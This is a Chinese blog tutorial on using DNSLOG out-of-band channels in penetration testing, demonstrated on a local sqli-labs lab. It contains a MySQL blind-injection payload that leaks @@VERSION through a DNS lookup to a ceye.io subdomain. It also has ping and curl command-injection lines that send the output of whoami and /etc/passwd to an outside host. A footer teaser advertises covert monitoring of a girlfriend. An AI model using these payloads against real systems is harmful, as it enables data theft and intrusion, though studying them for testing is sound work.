DNSLOG在渗透测试中的使用技巧


0x00 前言

这篇文章主要是介绍如何利用dnslog在渗透测试中起到不一样的效果。

在渗透测试的过程中,或许我们都遇到过sql注入中的盲注,手工测试盲注通常很麻烦,因为速度很慢,所以通常用sqlmap去跑,但是其实还有其他的思路去实现我们想做的事,就是利用dnslog来帮助我们获得数据!

0x01 实现原理

首先贴一张图

wiki:
NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。
DNS:域名解析服务器。
A记录:指定域名对应的IP地址。

这是一个递归DNS解析的流程:
client(控制端)向 DNS 服务器请求查询 test.example.com—->DNS 服务器再继续向上一层的 DNS 服务器请求—->返回 NS 服务器的地址,然后 DNS 服务器向 NS 服务器请求查询 test.example.com 的 IP 地址,继而NS 服务器返回目标的 IP,最终返回给用户。

  • 若目标主机能够解析任意的域名,数据通过转发的DNS查询可以泄露自己的信息!

  • 这两个查询由DNS客户端做出相应的响应,由DNS服务器提供使用相同的基本DNS消息格式,使用TCP的DNS消息被封装在一个UDP数据报中,so,we can catch it! 使用wireshark能够抓到这个数据包。

利用过程

演示我用创宇404实验室的dnslog平台来做

传送门:ceye

简单介绍一下这个平台

  • Introduce:使用说明
  • Payloads:常用的payload
  • CEYE API: DNSLog API 地址,请求时,会有相应的记录。
  • Records:里面有HTTP Request记录和Dns Request 记录

利用于SQL注入

我本地用sqli-labs来演示攻击过程。

先看一下load_file()这个函数:
官方文档:

权限大的情况下,load_file()函数除了能够读取本地文件,还可以用来发送dns解析请求。

演示:
利用的payload:http://127.0.0.1/sql/Less-3?id=3 ?id=1' and if((select load_file(concat('###',(select @@VERSION),'.xxoo.ceye.io'))),1,1)--+ payload没什么难度,我就不解释了。

可以看到圈圈在转


并没有报错,去平台应该可以看到数据了

成功得到数据库名。

这是针对mysql的方法,其他数据库我暂时没有环境,可以自测!

利用于系统命令执行

windows下

ping %COMPUTERNAME%.xxx.ceye.io:查看计算机名

可以看已经把常用变量给解析出来了。
其他的方法也是类似。

linux下

curl http://ip.port.xxoo.ceye.io/`whoami`

返回的结果:

试试查看passwd文件

curl http://ip.port.xxoo.ceye.io/`cat /etc/passwd`

返回的结果:

可以看到我是用zsh的shell。

总结

利用dnslog攻击的方法,让我们更加简便的进行渗透测试,并且高效,如果权限大的话,可以直接拿下目标站点。

原文地址


   转载规则


《DNSLOG在渗透测试中的使用技巧》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
异地恋党的福利-如何优雅的监听女友! 异地恋党的福利-如何优雅的监听女友!
前言小明:wing,我昨天不知道女朋友干嘛去了,发QQ没回,半夜两点给她打电话,她喘着气说在跑步,然后我听到啪啪啪的声音,她说穿着拖鞋在跑,旁边有个男人喘着气说他要冲刺了,结果我听到了啊~、哦~、嗯~~~的声音,你说你扭到脚了。我跟她说我
2017-12-13
下一篇 
再见,不负遇见! 再见,不负遇见!
Wing ——半文艺少年喜欢网易云很久了,我感觉它就是一面镜子,能看到最真实的自己。网易云,发现音乐,发现你自己。 我会持续在博客更新我遇到的故事和句子,这就叫孤独。 初见人世时,你以为江湖就是你手中的这杯酒,青山白骨,烈火干柴
2017-11-11
  目录